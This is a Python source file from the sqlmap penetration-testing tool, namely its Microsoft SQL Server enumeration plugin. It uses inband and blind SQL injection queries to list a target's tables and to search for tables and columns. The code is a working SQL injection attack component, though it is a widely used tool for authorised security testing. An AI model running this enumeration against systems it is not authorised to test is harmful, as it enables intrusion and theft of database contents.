#!/usr/bin/env python """ $Id$ Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/) See the file 'doc/COPYING' for copying permission """ from lib.core.agent import agent from lib.core.common import getRange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.enums import DBMS from lib.core.exception import sqlmapNoneDataException from lib.request import inject from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def __init__(self): GenericEnumeration.__init__(self, DBMS.MSSQL) def getPrivileges(self, *args): warnMsg = "on Microsoft SQL Server it is not possible to fetch " warnMsg += "database users privileges" logger.warn(warnMsg) return {} def getTables(self): infoMsg = "fetching tables" if conf.db: infoMsg += " for database '%s'" % conf.db logger.info(infoMsg) rootQuery = queries[kb.dbms].tables if not conf.db: if not len(kb.data.cachedDbs): dbs = self.getDbs() else: dbs = kb.data.cachedDbs else: if "," in conf.db: dbs = conf.db.split(",") else: dbs = [conf.db] if kb.unionPosition is not None or conf.direct: for db in dbs: if conf.excludeSysDbs and db in self.excludeDbsList: infoMsg = "skipping system database '%s'" % db logger.info(infoMsg) continue query = rootQuery.inband.query % db value = inject.getValue(query, blind=False, error=False) if value: kb.data.cachedTables[db] = value if not kb.data.cachedTables and not conf.direct: for db in dbs: if conf.excludeSysDbs and db in self.excludeDbsList: infoMsg = "skipping system database '%s'" % db logger.info(infoMsg) continue infoMsg = "fetching number of tables for " infoMsg += "database '%s'" % db logger.info(infoMsg) query = rootQuery.blind.count % db count = inject.getValue(query, inband=False, charsetType=2) if not count.isdigit() or not len(count) or count == "0": warnMsg = "unable to retrieve the number of " warnMsg += "tables for database '%s'" % db logger.warn(warnMsg) continue tables = [] for index in range(int(count)): query = rootQuery.blind.query % (db, index, db) table = inject.getValue(query, inband=False) tables.append(table) kb.hintValue = table if tables: kb.data.cachedTables[db] = tables else: warnMsg = "unable to retrieve the tables " warnMsg += "for database '%s'" % db logger.warn(warnMsg) if not kb.data.cachedTables: errMsg = "unable to retrieve the tables for any database" raise sqlmapNoneDataException(errMsg) return kb.data.cachedTables def searchTable(self): rootQuery = queries[kb.dbms].search_table foundTbls = {} tblList = conf.tbl.split(",") tblCond = rootQuery.inband.condition dbCond = rootQuery.inband.condition2 tblConsider, tblCondParam = self.likeOrExact("table") if not len(kb.data.cachedDbs): enumDbs = self.getDbs() else: enumDbs = kb.data.cachedDbs for db in enumDbs: foundTbls[db] = [] for tbl in tblList: infoMsg = "searching table" if tblConsider == "1": infoMsg += "s like" infoMsg += " '%s'" % tbl logger.info(infoMsg) tblQuery = "%s%s" % (tblCond, tblCondParam) tblQuery = tblQuery % tbl for db in foundTbls.keys(): if conf.excludeSysDbs and db in self.excludeDbsList: infoMsg = "skipping system database '%s'" % db logger.info(infoMsg) continue if kb.unionPosition is not None or conf.direct: query = rootQuery.inband.query % db query += tblQuery values = inject.getValue(query, blind=False, error=False) if values: if isinstance(values, basestring): values = [ values ] for foundTbl in values: foundTbls[db].append(foundTbl) else: infoMsg = "fetching number of table" if tblConsider == "1": infoMsg += "s like" infoMsg += " '%s' in database '%s'" % (tbl, db) logger.info(infoMsg) query = rootQuery.blind.count2 query = query % db query += " AND %s" % tblQuery count = inject.getValue(query, inband=False, expected="int", charsetType=2) if not count.isdigit() or not len(count) or count == "0": warnMsg = "no table" if tblConsider == "1": warnMsg += "s like" warnMsg += " '%s' " % tbl warnMsg += "in database '%s'" % db logger.warn(warnMsg) continue indexRange = getRange(count) for index in indexRange: query = rootQuery.blind.query2 query = query % db query += " AND %s" % tblQuery query = agent.limitQuery(index, query, tblCond) tbl = inject.getValue(query, inband=False) kb.hintValue = tbl foundTbls[db].append(tbl) for db, tbls in foundTbls.items(): if len(tbls) == 0: foundTbls.pop(db) return foundTbls def searchColumn(self): rootQuery = queries[kb.dbms].search_column foundCols = {} dbs = {} colList = conf.col.split(",") colCond = rootQuery.inband.condition colConsider, colCondParam = self.likeOrExact("column") if not len(kb.data.cachedDbs): enumDbs = self.getDbs() else: enumDbs = kb.data.cachedDbs for db in enumDbs: dbs[db] = {} for column in colList: infoMsg = "searching column" if colConsider == "1": infoMsg += "s like" infoMsg += " '%s'" % column logger.info(infoMsg) foundCols[column] = {} colQuery = "%s%s" % (colCond, colCondParam) colQuery = colQuery % column for db in dbs.keys(): if conf.excludeSysDbs and db in self.excludeDbsList: infoMsg = "skipping system database '%s'" % db logger.info(infoMsg) continue if kb.unionPosition is not None or conf.direct: query = rootQuery.inband.query % (db, db, db, db, db) query += " AND %s" % colQuery.replace("[DB]", db) values = inject.getValue(query, blind=False, error=False) if values: if isinstance(values, basestring): values = [ values ] for foundTbl in values: if foundTbl not in dbs[db]: dbs[db][foundTbl] = {} if colConsider == "1": conf.db = db conf.tbl = foundTbl conf.col = column self.getColumns(onlyColNames=True) dbs[db][foundTbl].update(kb.data.cachedColumns[db][foundTbl]) kb.data.cachedColumns = {} else: dbs[db][foundTbl][column] = None if db in foundCols[column]: foundCols[column][db].append(foundTbl) else: foundCols[column][db] = [ foundTbl ] else: foundCols[column][db] = [] infoMsg = "fetching number of tables containing column" if colConsider == "1": infoMsg += "s like" infoMsg += " '%s' in database '%s'" % (column, db) logger.info(infoMsg) query = rootQuery.blind.count2 query = query % (db, db, db, db, db) query += " AND %s" % colQuery.replace("[DB]", db) count = inject.getValue(query, inband=False, expected="int", charsetType=2) if not count.isdigit() or not len(count) or count == "0": warnMsg = "no tables contain column" if colConsider == "1": warnMsg += "s like" warnMsg += " '%s' " % column warnMsg += "in database '%s'" % db logger.warn(warnMsg) continue indexRange = getRange(count) for index in indexRange: query = rootQuery.blind.query2 query = query % (db, db, db, db, db) query += " AND %s" % colQuery.replace("[DB]", db) query = agent.limitQuery(index, query, colCond.replace("[DB]", db)) tbl = inject.getValue(query, inband=False) kb.hintValue = tbl if tbl not in dbs[db]: dbs[db][tbl] = {} if colConsider == "1": conf.db = db conf.tbl = tbl conf.col = column self.getColumns(onlyColNames=True) dbs[db][tbl].update(kb.data.cachedColumns[db][tbl]) kb.data.cachedColumns = {} else: dbs[db][tbl][column] = None foundCols[column][db].append(tbl) self.dumpFoundColumn(dbs, foundCols, colConsider)